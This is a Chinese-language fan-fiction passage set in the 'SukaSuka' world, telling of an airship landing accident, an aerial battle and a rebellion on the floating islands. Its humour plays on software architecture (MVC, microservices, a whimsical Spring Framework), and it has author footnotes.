菽琪旭慢慢绕着五边飞了一整圈，终于绕回来了。她正在最后进近。

“我讨厌……可怕的事物，最可怕的事，就是变得什么也不怕。”

“别说得像遗言一样嘛。菽琪旭又不是悲剧的女主角。”珂朵莉插话了。

“嗯——不管怕不怕，菽琪旭还有未来啊！”一听威廉沙哑的声音就知道他远没有恢复。

“而且跑道有 7kil 长。菽琪旭着陆的时候平均只用了 2.5kil，最多的一次也没超过 3kil。”

不过，威廉的声音总是很温柔，像父亲一样。我有点喜欢——但我不能表现出来！

菽琪旭进场的动作很平稳很自信，没有太多姿态调整。后起落架轻轻触地，拉出一阵白烟。减速板没有弹出，反推也暂时没有开。我用目光欢迎瑟尼欧里斯-001 回家。它在我的视线中从左向右在跑道上仰头狂奔。

大家都静默着。

菽琪旭的船头慢慢落下。快要接地了。

船头轻磕在地上。又是一阵烟。是夹杂蓝色的剧烈白烟。

减速板和反推全开。SEN-001 很快停了下来。

可蓉的消防车冲了上去。

很好，什么也没有发生。据说如果 ATC 在工作中碰上夺走生命的空难，一般都会自动受到惨痛的精神打击。

“目测这次用掉了 3.5kil 跑道。”

“唔……”

“唔……”

有点尴尬。我好像应该安抚一下菽琪旭，但一时无话可说。

船会起火爆炸吗？我不知道——应该不会。我很怕刚才就是菽琪旭的最后遗言了。

“舰体结构完整，船下巴的温度是 950℃。已经喷着水了。舷梯马上接好。”

“唔……呜呜呜……”

——似乎有什么不太对劲。

“呐，菽琪旭能平安回来，我也很幸福啊！”

“没受伤吧？”

“……”

只要船没有突然起火爆炸，而且舷梯快速接上舱门，加上菽琪旭不摔跤地快速撤下来，我们就不会失去任何人。我们不能再失去了。

“果咩纳塞果咩纳塞果咩纳塞果咩纳塞果咩纳塞……”

“诶啲……”

草坪上，我面对着一只鞠躬道歉如捣蒜的菽琪旭。

“果咩纳塞果咩纳塞果咩纳塞果咩纳塞果咩纳塞！”

“上车休息吧！”

“瑟尼欧里斯一会就会修好的啦……这次就当是我的错！我的错！好不好？”

菽琪旭哭了。我拯救了世界，却不能守护想守护的人。

但菡琪旭这边的问题可能还是次要的。就在刚才，我们都犯了一个非常严重的错误。我不仅没有守护好菡琪旭，而且……

“清理跑道大概要多久？”

兰朵露可不温不火的声音在这种情况下也充满奇妙的魅力。

战列巡洋舰赫斯托利亚着陆时无论如何都需要 4kil 的跑道。只有斯卡布罗军港这一条跑道有那么长。如果菡琪旭多用或者少用 600 米跑道，兰朵露可就有机会着陆。然而现在，无论兰的技术多么高超，也只能在天上兜圈。当然，我觉得这不能算菡琪旭的错。

“我估计到中午才能清理完。只好麻烦兰享受一会难得的飞行时光啦！”

然后我听见“咚！”的巨响。

瑟尼欧里斯-001 的“下巴”碎了。船头拍在地上。

“不会吧！”

接着又是“咚！”

船下巴无法承受高热后的突然冷却。设计制造的时候没考虑给这块地方上装甲，更不会考虑用船下巴着陆的情况。下巴存在的意义只是用优美的外形减小阻力。

“兰，你可能得在天上转到吃晚饭的时间。我不该往 SEN 上喷那么多水。”

“好的吧。战巡永远不会燃料不足。”

“我错了。我只关注了 PanPanPan 的船。”

“是我设计时考虑不周。”

“我应该加一块耐磨表面的。”

“要是瓦尔卡利斯没有被我送掉的话，现在也不会那么紧张地训练新人了。”

“我上次作战太冒失了，只想着大家，没有考虑自己的生存。”

什么啊，这和珂朵莉威廉有什么关系……

但是，硬要说的话，许多灾难确实是从小小的因素中逐渐堆积，不知不觉就突然要了一些人的命。血的教训太多了，而人们还是看不清深深的因果链条。每人一个小小的失误，最终也会滚成大错。

但反过来说，这就意味着相当一部分的命运是能够被反抗的。

我真的希望更多人能活过这悲伤的时代，享受更多安详的融融春光。尤其是，那些妖精们，还有——他。

那么，我能做什么？现在处于最危险境地的是谁？

答案很显然：**假如此时有【兽】突袭，我们会间接要了兰朵露可的命。**

“地面所有雷达，最大功率！防空组一级战备！我去找最高武官要一艘重型飞空艇支援。”

虽然我是特等武官，但还完全不行啊。头衔毫无意义。真正的勇者一定要更加谨慎才行。

“果咩纳塞果咩纳塞果咩纳塞果咩纳塞果咩纳塞——！”

“果咩纳塞，兰。”

Actions Have Consequences²⁴.

2 Spring Cloud

我抱着伊格那雷奥，一个人，久久的，立在春风里。

——不，这不能算“抱着”，只能算“扶着”。甚至，应该算是伊格那雷奥扶着我。

我很爱我的剑，比作战时带着的精确射手步枪还要爱，所以我走到哪都陪在剑的身边。

²⁴ 读者不妨研究一下人类在现实世界中如何调查空难，梳理事故的原因，指导我们避免事故。

但我既不能背着又不能抱着。我只能，慢慢地，把它拖到花园里，拖到草坪上，拖到那棵大树下。我拖得非常辛苦。然后我双手扶剑戳地。剑静静地享受着春风，也支撑着久立的我。

啊——我当然是把剑裹得里三层外三层才敢戳地面的！我当然不想把剑弄脏啊！不过这样无法让剑充分地沐浴春风。在与剑相处这件事上，我还没有想到很好的办法。我不擅长。

显然我是四个人里伤得最轻的——毕竟我什么都没做。但人们称我为大英雄。我用右手摸了摸左肩上的军衔。熟悉又陌生的触感。

我只是个研究编程的技官。因为我很想保护珂朵莉，还有艾瑟雅奈芙莲威廉她们，所以才突然燃起了想和她们一起战斗的心愿。明明我的力量远不能与她们相比，而且我每次都差点做出错误决定。我没有资格接受与她们同等的功勋。换作是珂朵莉前辈乘我的船的话，会不会实现更好的结果呢？

我受伤了。魔力燃烧过度。虽然并不是威廉那样几个月都会半身不遂，但完全恢复也得花费很久。我可以躺在床上或者趴在床上写代码，但穆罕默达利·布隆顿医生让我的身体千万不要猛烈用力。我确实觉得自己用不出力气。连抱起伊格那雷奥或者背着都做不到。步枪的话，根本就无法携带了。能走一小段路，扶着**伊格那雷奥**站在这里就是极限了。

我偶尔也会想放下伊格那雷奥，把枪带出来。但我每次这样做之前果然都会对伊格那雷奥偏心。再加上带枪站着没有任何支撑，反而更加疲劳，所以很遗憾地从来没有把枪带出来。

对于救回四个人这件事，我没什么实感。莉莉娅盛赞我当时背着剑跳下船，但我第一念头只是因为爱它才想到要背着。只要她们还在就好了。所以那些痛苦的回忆，就忘掉吧。

斗争不会创造出任何东西，是很空虚的喔。

……

有点困了。想立刻躺在春天暖洋洋的被窝里。最近的体力还是不太好。

春天就在此处，但我大概坚持不到病房就会睡着。

我的双臂交叉在胸前，抱紧了伊格那雷奥。这是错误动作，因为可能会被剑切到手臂。疲倦地闭上眼。视野不全是黑的，但也不刺眼。

大不了就直接睡在暖暖的草地上吧……

回病房的旅途遥远得令我绝望，而且我并没有一定要回去的理由。我真的支撑不住自己，向右倒下去了。

“在互不交集的路上前进，这才是——”²⁵

温暖的东风。怀念的春光。

那是三年前的初春。虽然程序规模必须史无前例地庞大，人们仍不言放弃。多态、重载、继承、接口、工厂模式、动态代理、面向切面，各种各样神奇的方法被用来规整代码。

（不仅是软件。在硬件需求同样爆炸的时代，奈芙莲和威廉也在默默努力着。然而人们习惯于漠视硬件的成就。）

但大型程序仍然面临代码混乱的严重挑战。程序一旦需要修改，经常牵一发而动全身。我甚至见过某前辈做了这样的游戏：几千个 if 语句盘根错节，一万条数据表挤在一个类(class)里，还为游戏里非常不重要的无征种角色做了 35 种模型，每种 80 帧动画……²⁶

珂怕的是，这样的程序竟然能正确运行！即使是当时不怎么会编程的特等武官，也直接惊呼“**麻吉呀巴库内！**”。

写出这个游戏的老姐²⁷值得佩服，但如果代码需要改动，她的设计模式就会招致灾难。

²⁵ 这句话直接抄了《末日时》的一个小标题。

²⁶ 设定原型：《太吾绘卷》

²⁷ 兰朵露可：说来惭愧，这个游戏是我做的……我本来是中文系的——中文就是地面上用过的一种古文！我稍微在意了一下程序就放不下了！我那时候不会写程序啊！

我总结出了这样的经验：良好的程序应当“解耦”，降低不同模块间的依赖。

当时的程序猿大会上，我和珂朵莉在最高武官面前起了争执。

支持珂朵莉的人们大喊：“MVC²⁸天下第一！”

因为珂朵莉能写出无比宏大却 100%正确快速的逻辑控制。接着，珂朵莉做出了伟大的“数据库”。这项发明基于海量算法的坚实基础。没有算法的支持，我们就不可能在短时间内对海量数据完成增删改查。最后，珂朵莉本人作为完全超越传统评价标准的大神，当然不需要任何图形界面。于是，第一艘空中军舰上采用 MVC 设计模式的条件完全成熟了。

但我认为 MVC 不适用于一切军舰。这种设计方式仍然在代码间产生了较多的依赖。至少，控制器层的许多代码大概会被普通码农们做成几百个 `if {} else if {} else if {}……`

我认为应该用“微服务”架构来搭建军舰上的程序。每个微服务都独立运行，负责简单漂亮地完成一件很小的事。各个微服务之间可以利用 `httpc`²⁹协议来通信协作。这样即使是萌新程序员，也可以参与小功能的开发，而不至于让整个系统都难以修改。

然而，没有人明确支持我——除了珂朵莉。

“抱歉啊……我的支持者反而在压迫我了。放弃 MVC 的话会被他们反对的……”珂朵莉这样对我说。

唉。

大部分程序员是在 MVC 模式中成长起来的。他们从来没有微服务的理念，所以难以适应。我们选择的架构关系到他们的工作机会。如果他们不能留在程序员的岗位上，就要去前线打仗了——尤其是无征种。另一方面，微服务之间的通信也会增加硬件性能的开销。我不能总是麻烦奈芙莲做更强大的硬件。

但是，珂朵莉前辈，我爱你！

我想做个大框架，帮助人们快速实现各种设计模式，轻松搭建高并发高可用易维护的系统。我会允许人们使用 MVC，也允许使用微服务。我愿意全力支持珂朵莉前辈选择的道路，也会实现自己的梦想。

和珂珂的道路有交集使我幸福，但程序必须在互不交集的路上前进。这一点我不会退让。

写程序好累啊……

一年前的初春，Spring Framework 本身已经完工了，但几乎没有经过测试。我真的写不动测试代码了……护翼军还要我给新的空中军舰写程序……

我不擅长战斗，只期盼程序员的和平生活，但我想保护珂朵莉。所以伊格那雷奥被交给我使用了。灰岩皮给了我武官的军衔：“牺牲的话，家人会得到更多补偿，你会被人纪念。”

没办法。就用久经测试的 `lepre` 语言快速开发一套微服务脚本吧。

我自己的船没有用我自己的框架，这使我的支持者更少了。而且，丰富的扩展性和较高的抽象层数使 Spring 的运行性能实在不算顶尖。我的算法也不精湛，评级大概是 `pupil` 的水平，想不出什么全局优化的办法。而且算法总是增大程序间的耦合。

然而莉莉娅私下里也开始明确支持我。“我觉得微服务或许会在更大的层面上有用。”

即使在末日的时代，我的梦也不是没有意义。

好累啊……但是好幸福。感觉自己就像躺在春天暖暖的草地上，根本不想睁眼……

轻轻的耳语声：

²⁸ 模型(Model)-视图(View)-控制器(Controller)：将庞大的程序分成数据、界面、业务逻辑这三大块。潘丽宝曰：实际上这个缩写最初由吃瓜群众发明，代指 Marvelous Vertex Chtholly（珂朵莉：奇迹的顶点）。

²⁹ 兰朵露可：我固执地相信，程序的一切过程都要基于人类看得懂的文本，而不是二进制代码。虽然这种纯文字化在那个游戏里被证明非常失败，但 `httpc` 协议中大部分通信过程也是纯文本的，而且获得了成功。于是，HTML 和 CSS 的标准也是我制定的。

“缇亚忒酱你还好吗？”

活泼的呼唤声：

“呐呐！已经中午了哟！”

“？”

我似乎仰面朝天躺在又软又暖还有点滑的不平整表面上，有点像蚕丝床单下垫着棉花毯。阳光微刺着我闭起的双眼。右臂被某种熟悉的重量压着。我的精神无法直接感受到右臂上的那件物品，但它的重量很有存在感。我向右转头，微微睁眼……

草地，和，剑？

是伊格那雷奥。

“哦哈哟~！睡得幸福吗？”

珂朵莉从我视线的左边探出头来。

“珂朵莉前辈！”

想坐起身来扑到珂朵莉前辈的怀里。

我连半个仰卧起坐都没有完成。腹部的酸痛感，背部的无力感，还有伊格那雷奥的重量一同把我扯向地面。

珂朵莉前辈一把抱紧了我，这样我的后脑勺才没有直接砸向地面。我的双臂勉力围住了珂朵莉的上半身。

“珂朵莉前辈……我……做了个好长的梦……我想念前辈了！”

“唔哦！中午早！果然睡得很幸福呐！吃早饭了吗？给，桃子！”

左边，艾瑟雅坐在轮椅上，抛来一个大桃子。珂朵莉用右手准确接住。但珂朵莉一时没能拉住我上半身的重量。我们两个都倒下去了。我被珂朵莉骑着压在身上。

“呜哇哦哦哦哦哦哦——！”

“诶嘿嘿嘿嘿嘿嘿——”

我不知哪来的力气，把头左转，对着珂朵莉手里的桃子就咬了下去。真香，真甜。汁水流下来了。我的右臂把珂朵莉抱得更紧了一些。

“真好呐！吃饱了桃子才能早日康复哦！”

“我好担心你啊！一大早就不知道跑到哪里去了。第一次来这里居然没看见你……”

诶……我的衣服堪比迷彩吗……

“果咩纳塞……”

“虽然不想打扰二位的亲热……但是缇亚忒酱准备好出征了吗？”

诶？

“莉莉娅让你 1200³⁰在医院大门口等。”

“特等武官肯定是实在没办法才这样做的。我也会陪缇亚忒一起去！”

我又要去拯救人们了吗？

珂朵莉把我扶了起来。艾瑟雅用餐巾纸擦了擦我嘴边的桃汁，又往我口袋里塞了几张。

“已经 1155 了。慢慢走到医院门口，正好也把桃子吃完。干吧咧！”

“歼……歼击车……”

11 时 58 分 52 秒，珂朵莉扶着我刚好到达医院大门口。一架 8 个轮子的夸张车辆狂飙着出现，在窄小的石板路面上 360° 回旋漂移，正好停在我们面前。从舱盖下探出头的是戴着墨镜的诺夫特。

“哦！撒西不理！我们都赶上了呢！”

“斯……斯国一……”

³⁰ 1200 就是时间 12:00

“整个军港就这玩意跑得最快了。山地平均速度 135kil/h。”

“炮管比车还长了好一截啊……不会撞到东西吗……”

“没时间解释了，快上车。缇亚忒你上船后用电传操纵杆³¹，不要出猛力，也不要承受太大过载。珂朵莉去菟琪旭身边帮忙就好。”

于是珂朵莉自己爬进炮塔坐好。诺夫特直接把我扛起来塞进了第二驾驶位。

“哇啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——”

诺夫特脚下的野兽怒吼着冲锋。这加速度比我练习短跑道起飞还要狠。轰鸣声大得超乎想象。我捂住耳朵。

头顶上，打开的驾驶舱盖外面，一艘细长的浅蓝色巨舰撕开了天空。

赫斯托利亚？单独出航？这样一不小心就会死的啊！

事态紧急，而且严重。

3 The East Wind

“心余力绌。吾等反须假³²勇者阁下之东风相助。”

最高武官灰岩皮的回答令我震惊。

西海最后三艘重型飞空艇的编队被三只大型【兽】偷袭了。我们反而要派兵增援。

（潘丽宝曰：为防读者看不到注释，这里再次声明“假”是“借”的意思）

迪斯佩拉提奥和瑟尼欧里斯-001 需要补给。能立即出动的船只有赫斯托利亚。但这艘战巡在没有护航的情况下实在显得脆弱。

时间：1147。最高武官要求赫斯托利亚在 1215 前赶到，发起支援炮击。这很危险。

一直以来我都很愧对妖精。尤其是一个月前的远征，我本来应该尽到保护她们的责任，但我对瑟尼欧里斯的程序理解程度还差一口气，所以最高武官没有批准我去。珂朵莉的程序太艰深了。那些算法到底是什么原理啊！为什么那么多代码能运行得那么快那么正确啊！我真想发出威廉式的咆哮。

勇者的编程水平足以傲视浮游大陆 99.995%的生物，但和妖精相比还是不足吗……

其实我们造飞空艇的速度可以快得像包饺子。事实上沉船速度也一直快得像吃饺子。但优秀的作战人才目前都是 20 年才能培养。王牌炮手和飞行员牺牲了就不会再有了。

星船无法出动的根本原因不在于起落架事故。我们有 HIS，SEN-000，SEN-001，DES，IGN，但我们缺优秀的程序员！

办法还是有的，只是需要下定决心，命令我想守护的人奔赴战场。

缇亚忒的电话打不通。打给珂朵莉。

“珂朵莉，我需要你们。”

12 时 09 分。

高空有 25kn 的东风，让回家变得困难了一些。前方的云正在变多。希望诺夫特已经追上来了。没有诺夫特追不上的东西。她想追我的话，几分钟就能到我身边。

赫斯托利亚为了火力牺牲了装甲，只擅长直线前进，而转弯慢得像对抗因果律。所以无护航的前进非常危险。

必要的和不必要的东西清楚地区分开来，这是我炮击的诀窍之一，也构成了我布置装甲的理念：全有或全无。先放一个亡国级剧透禁咒：我活着回来了³³。所以我预计会在后记

³¹ 电传操纵杆几乎不需要用力就可以控制飞机。常规的操纵杆则需要用臂力。

³² 古汉语“假”意为“借”

³³ 兰朵露可：哼，枯野老贼整天在后记里剧透喂刀片。这是我作为文科生的行为艺术反击。

(Afterword)里告诉你们，古代无征种的火炮之道。

但是我这个人啊，**稍微有点在意的东西就放不下了**。以前学程序是这样，现在劝说自己拿出勇气的时候也是这样。

在必要的时候，我的生命也可以是不必要的，吗？

我果然还是有点想活着。只要稍微在意自己的生命，就会演变成强烈的求生欲。

想增加生存率的话，现在只能多试试手感了。

`./lepreVIEW.lc`³⁴

我从座位头枕后面拿出头盔，戴好。这头盔附带的墨镜被诺夫特大呼“好帅”，然后诺夫特开始学我。其实这个墨镜上可以显示正确的火炮瞄准点，以及很多其他信息。我开发这个花里胡哨的东西是因为——从古书上看到了，稍微有点在意就放不下了。

我不需要手动处理任何程序依赖项。缇亚忒的程序框架里有个“注册中心”，会把我启动的程序所依赖的微服务全部备齐。

实体炮弹还剩 30 发，只能齐射 3 轮了。燃料是一个月的量，也不应该现在就浪费在魔能炮弹上。练习一下转炮塔的手感就好。威廉也喜欢练这个。

5 座双联装 343mm 炮塔向右舷缓缓转动。

我在耳机里听见**可蓉**光速敲着键盘为我补给。导弹，机炮，魔能主炮。充足的弹药，但理所当然地只能向前发射。装甲仅仅集中于船的正面。这样作为护卫完全足够了。**屠戮兽族之剑**，快去与兰朵露可并肩吧！

12 时 09 分。我目送缇亚忒“偷偷摸摸”地出发。她的船离地后，左右摆了摆机翼，然后进入了光学隐身。这种行动方式大概很孤独吧。连我们都找不到她的存在，死了也没人知道死在哪，反正我是不敢忍受的。

等缇亚忒回来，我想请她吃甜甜圈，然后叫格里克请我和兰朵露可吃烤肉。

轮到我起飞了。对迪斯佩拉提奥来说，在减半的跑道上满载起飞有点吃力。

重要的是，不能搞错自己的心意。至于自己的心能否接受，相比之下没那么重要。

我要兰朵露可活着回来。我没有要求自己活着回来。如果我和兰死了，我也勉强接受。

翼身融合布局+矢量推进³⁵，配上强悍的动力。即使速度仅有 130kn，还不开襟翼，**我**也能做出幽灵般的动作。我向左猛滚，用力转弯。7G 过载！

“你刚才在距离 SEN-001 只有 20ft 的地方开加力。想要我不举报给莉莉娅的话，回来请我吃烤肉串。”

“又没撞上咯！有什么关系！”

“下次不许顺风起飞了。快去跟上兰朵露可。”

“兰没有降落过吗？”

“没有哦。你也要请兰吃烤肉串。”

“哦！让格里克请！——话说怎么都想着吃东西啊？！”

我试着轻踩方向舵。船头正确地左右摇晃。再推拉操纵杆。船做出了正确的矢量机动。不过仪表屏幕偏暗——是我忘记摘墨镜了。丢进座位下的袋子吧。

一切正常。我把节流阀直接推到底。狂暴的力量顶着我向西去往兰朵露可的身边。

“小心哦，我们没见过这种兽。183mm 炮打不穿它们的正面。”飞空艇长**爱尔梅莉亚·蒂夫纳**提供了这样的情报。

问题不大。没有什么兰朵露可打不穿的。如果有，那就让兰再打 10 发。

云很厚，但并不影响我。**我**直接启动了高功率雷达。感觉自己真嚣张。

³⁴ “./”这个符号的意思是，让操作系统不要去 PATH 里找，而是在当前目录找

³⁵ 迪斯佩拉提奥的舰设可以参考 B-2 隐身轰炸机，不过并不是完全一样的。可惜我暂时没时间画船。

“兰! With reference!” (这种奇妙的用词大概不会被兽的人工智能立即理解)

雷达屏上,我的前方,也就是西面,是三个并排的大家伙【兽】。再往西,是三个小家伙:那是我们可怜的飞空艇。双方都不开雷达,在云里目视炮击,菜鸡互啄,对轰了 30 多分钟,双方命中率和损伤并不大。但越往西越深入兽的领地。西方是危险的。

三个大家伙马上对我发射了某种东西。看这速度,应该是导弹。

“正合我意!”我打开加力,把船头往天顶拉升。10G 过载带来的闷爽感,刚刚好。

“呐,诺夫特,你说这次兽为什么不用导弹打我们呢?”爱尔梅莉亚问了这样的问题。啊?我也不知道。

“被动制导的导弹只能捕捉在电磁空间暴露自己位置的船,比如不停说话或者总是开着雷达。”我这样回答。其实我只是听莉莉娅这样推断的。上次远征的事也佐证着这一点。

“感谢大佬指教。”

我只会帮格里克烤肉而已,顺便开开星船,真不是大佬啊……

我藏身于云中。

诺夫特作为护航船并没有安分地飞在我前面,而是直接朝敌人冲上去了。这很有她的风格,而且或许也是更好的选择。在我附近打开雷达乱扫的话,可能我还没开炮就会被发现。

感觉这三个敌人是比较笨拙的那种。明明被雷达照射了,却根本不转弯。说不定是因为在转弯方面,它们和我一样笨拙。首战遇到这样和我菜得半斤八两的敌人,运气还不错。

我的船已经左转了足够的角度。后方的 3 座炮塔也能转过来瞄准最右边的敌人。

所有炮塔都瞄向了二阶提前量³⁶点。我观察了几秒:这个点相对于敌船的位置正在缓慢向前移动。我又手动把炮塔往敌船更前方瞄了一点。

接下来是决定命运的时刻。如果我能瞬间摧毁两艘敌舰,那么我们基本赢定了。如果完全没命中敌人,我就是第一个死的。

没必要思考这么多。必要的事情仅仅是考虑如何命中。

我果断按下电钮。10 门火炮按顺序³⁷发射了毁灭性的咆哮。问题不大。我本人的头盔和耳机隔音良好。我不会在此时此刻立即被发现,因为在声音传到敌人那里之前,炮弹早就到达了。厚重的云还会遮盖火光。

“Artillery inbound. ETA: 26 seconds.”

还没完哦。我把高仰的炮管降下,瞄向中间的敌船。

魔能充填完成。耗时不到 1 秒。炮塔还没转到位。这次是瞄本体而不是提前量点。

我又等了 20 多秒,然后闭上眼睛再次按下电钮。这一轮不戴墨镜的话绝对要瞎眼。

“Rounds complete.”

厚厚的云被强大的魔力戳穿好几个洞。

若干 mol 的导弹正在逼近,而我用右侧对着它们。我不觉得自己能全部躲开,所以现在该让正面装甲出场了。AI 程序³⁸会指示我在合适的时机做出正确机动。

“3……2……1!”

我猛踩右方向舵。船头的指向立即右转,对准了来袭的导弹,但整艘船的实际前进方向没有因船头指向而改变很多。托了矢量推进的福,我能在空中短时“漂移”。这个动作绝对不能踩方向舵过猛,否则容易失控变成空中回旋镖。

导弹劈头盖脸地砸上来。我紧捏着操纵杆。两秒内,大约五六发导弹直接命中了我,还

³⁶ 兰朵露可:好好好,我知道你们看不懂。我会在后记解释的。

³⁷ 每一发炮弹都要与上一发留出时间差。如果完全同时发射,炮口冲击波会互相影响,使炮弹偏离路线。

³⁸ 这个用来辅助回避机动的 AI 其实和兰朵露可的炮击用 AI 差不多——代码都是我诺夫特写的哦!

有一些被弹开了。这忽略不计的命中数和敌人的发射数实在相去甚远。

我瞥了一眼雷达：剩下的导弹都越过了我，并且两个敌人消失了。窗外的云中果然有两团黑色烟花。我立刻让船头回到原本的前进方向。我的首次实战有点轻松过头了。

“够菜的啊。”我随口喊着。FM 无线电将这句话向所有人广播。

“两位小姑娘出乎意料地厉害哦！”是飞空艇长格里克的声音。

“嘛……我们也……够菜的。”爱尔梅莉亚这样回答。

“诶……装备，是我们装备好。”

“小心背后！加速脱离！”

呃？缇亚忒？刚才说了什么？

“兰！加速脱离!!!”

呃？缇亚忒？她在我们的飞空艇上？不对，这不可能。

我摸向推力手柄，开始半信半疑地往前推。

上一秒我还想着带赫斯托利亚享受一会惬意的东风。最后一只【兽】交给诺夫特也没关系的吧？她理应得到一些纸面上的战绩。所以我的作战本来应该结束——了？

屏幕上，我的背后 50kil 处竟然被标出若干 mol 的小型飞行物。伊格那雷奥在我前面，开着雷达！

“兰！你没法和那么多【兽】缠斗的！快跑！”

“兰！我来支援了！”

屏幕上，兽群中出现了更多小物体，然后所有物体都变灰了。缇亚忒关闭了雷达。

“导弹来袭！主动制导型！”

本能地加满推力。我的大脑一时完全空白。

埋伏在云中也是够卑鄙的。那些兽，可能早已看穿我们的行动。

torpedo --16QAM

我按下 Enter。16 枚鱼雷以 4×4 排列，奔赴一阶提前量点。我不懂这种武器的底层原理，但我认为没必要像珂朵莉前辈一样深入理解所有东西。只要顶层调用的时候知道底层有恐怖威力，就足够了。

鱼雷装填需要近 20 分钟。这段时间里我被迫无所事事。硬要改变些什么的话，可以开雷达/开炮然后自我牺牲，也可以放下椅背躺着，强行用轻松的心情看戏……我不想眼睁睁地看兰朵露可死。

导弹扑向了赫斯托利亚，并遭到 30mx 魔能炮的阻拦。显然兰朵露可的弹幕太无力了。我强忍着自我牺牲的愿望，没有再次开启雷达招引导弹。首先，主动制导的导弹可能并不想理我。其次，珂朵莉前辈上周对我说：“你也很重要”。

“哇啊啊啊……”

我有点想关掉无线电，因为害怕听到兰朵露可绝望的惨叫声。因为我什么也没做，所以鲜活的生命在恐惧和痛苦中消失了。

兰，要撑住啊。和你的船一起。

我从一连串爆炸中缓过神来。

“Hello World?”

很好，我没有聋也没有哑。现在只有震动过载和座位绑带共同导致的胸闷头晕感。我的身体抗过载能力实在不行。

船体千疮百孔，但舰桥没有被击穿。满屏都是红色 Exception。那个占据整块屏幕的

夸张内容是……五套液压系统坏了六套。许多系统已经切换到备用的微服务。

液压全坏的话就无法操作这艘船的舵面了。感谢敌人留给我一次反击机会。

我不用考虑程序依赖项。让一套微服务完全瘫痪几乎是不可能的。而且 Spring Framework 只会报 Exception，不会崩溃退出。

赫斯托利亚的求生欲相当顽强呢。每个系统都像云一样悠然独立地漂浮，仿佛很容易成为兽的美餐，但各个系统组成的整体却坚不可摧。

我顺利重启了末端防御雷达。现在该我请【兽】吃炮弹了——话是这么说，主炮转速完全跟不上那些提前量点。我的瞄准线所经之处，【兽】纷纷敏捷地四散躲开。

缇亚忒的鱼雷摧毁了离我最近的 1.5mol 兽，但剩下的兽依然向我逼近。兽应该不会傻到冲进我的副炮射程。我无法还击，只能被动挨打吗？

我能做的只剩下在云中沉思……

状况很混乱。总而言之，菟琪旭的起落架放不下来，迫降后停在跑道上无法脱离，于是我没能降落。缇亚忒和诺夫特出击护航。接下来突然被要求追击三只大型兽，又突然被许多没见过的小【兽】命中数十发导弹。

平时的战斗会那么瞬息万变吗？从战史中尚未见过这么紧张的战例。

暂时已经没有弹药可以向那些小【兽】还击了。再吃一轮导弹就会被它们击沉吧。坐在船里挨打的话我也会随船沉没。也许现在最好的选择是——

我的手伸向弹射座椅的拉杆。

“感激不尽。我的战斗可能到此为止了。”

“别跳伞啊！被迫得那么近，你跳伞在空中就被干掉了！还没有结束！我们才刚刚开始啊！”

诺夫特在我的耳机里大喊大叫。好吧，在下一轮导弹来袭前，我还能活几十秒。

4 Contact

斯卡布罗郊外的晚上，满月刚从东方升起不久³⁹。和诺夫特喊的一样，今天还没有结束，并且大概是我加入护翼军以来最混乱的一天。

晚上早。我是奈芙莲·卢可。我的船沉了，自己也受伤未愈，被莉莉娅突然派到军港南面的山里一个人当步兵。我不擅长用双眼抢先发现敌人，不擅长恐惧或逃跑，打步枪会让肩膀脱臼，打手枪会让手腕脱臼，但目前真的没有其他战斗力可用了。

简而言之，这次袭击我们的不是浮游大陆外的兽，而是隔壁浮游岛上的艾尔比斯商国。兰朵露可在岛外被商国的“战斗机”袭击的同时，斯卡布罗军港南面突然出现一群战车和步兵。它们是从民用飞空艇港湾的大船里冲出来的。爱尔梅莉亚追击的三只大型兽也是艾尔比斯商国的杰作。那三只兽，也就是三艘异形大船上的成百上千艾尔比斯人就这么成为一次性诱饵和炮灰了。

艾尔比斯商国的要求很简单：交出所有星船。如果我们不听话，他们会消灭我们。

我们军港留守的地面部队肯定寡不敌众。港内星船在敌人战车的炮管看守下也无法起飞还击。西海上，兰朵露可的船仅剩一座炮塔能向侧面射击，同时船损伤严重，飞得歪歪扭扭，可能无法承受炮击的后坐力了。缇亚忒的船虽然隐身，但用火炮无法短时间内消灭敌人，用鱼雷则容易炸毁整座岛。最糟糕的是，诺夫特飞回军港准备扫射这些地面车辆时，机翼被地面上不知从何发射的小导弹炸了个洞，只能迫降。这小导弹的隐蔽性与毁伤力比起来完全超出我们的想象。

³⁹ 理论上满月在 18:00 左右从东方升起。

这是赤裸裸的浮游大陆内部叛乱，而且早有周密的准备。菡琪旭的起落架说不定也是他们潜伏进来破坏的。叛乱行为很差劲，但我们本应早一步想到。

好在艾尔比斯商国也有没想到的事。这里还有一只能动弹的奈芙莲，吃了一颗魔力药就从居民区的医院溜了出来，甚至带着一架被艾瑟雅当玩具的四旋翼无人机。

莉莉娅带着军港的人躲在坚固的指挥塔，一边与敌人谈判周旋，一边让我尽量找出击中诺夫特的导弹从何处发射。如果我们消灭掉敌人隐藏的防空力量，也许就能让缇亚忒和爱尔梅莉亚从空中攻击敌人的车辆。

我不是很想杀死同为浮游大陆居民的生物。艾尔比斯商国的兵估计也是被强征来的。护翼军是對抗兽的军队，没有理由剥夺我们一直以来保护着的生命。但是，“**该杀就杀。**”莉莉娅留给我这样一句沉重的命令。

我的背心胸口塞着厚重的防弹插板，已经在山里艰苦行进了一个半小时。但我当然不会亲自去广度优先搜索敌人，因为后面还有珂朵莉威廉艾瑟雅等着我回家。现在我即将爬上一处山脊。前面西方山坡下就是无人机的红外摄像头发现的两个可疑人物。这两个人的感知能力似乎敏锐到能察觉 1kil 外无人机的声音。我今夜已经是第三次追他们了。

在头盔的夜视模式下，拿出红外模式的望远镜。发现目标！

那两人背对着我。右边的人半跪于地，右肩扛着长长的筒状物，仰望着天空。在他左后方的人背着又大又重的包，警觉地环顾四周——还长着猫耳。这位猫征族的腰间似乎还有其他无法看清的小器具。不可能是我们护翼军的人。

我悄悄呼吸着。我作为步兵很菜，被发现的话只能逃，但我不能恐惧。

他们似乎没有发现我。

望远镜里的十字对准长着猫耳的头。测距！

154 米。

我可以选择趴在这里直接攻击，也可以选择靠近一点，或者还可以让缇亚忒直接炮击此处。我的腰里有威廉的手枪，还有缇亚忒的手雷（本来是她战斗时自爆用的，但今天忘了带走）。我也可以冲上去用圣剑印萨尼亚直接砍。或者，我还有一个可编程的无线电谱设备，可以朝任意单方向收发任意频率的 Gaussian beam。这样即使向缇亚忒要求炮击支援，也不太可能被敌人听到了。但炮击会暴露缇亚忒的位置。

枪和手雷都会让我受伤，还会完美地躲过敌人。154m 的距离也未免太远。用印萨尼亚砍人的自信我还是有的，但冷静想来，以宝贵的生命直接冲向未知的敌人不是我的强项。不到最后关头不能这样选择。

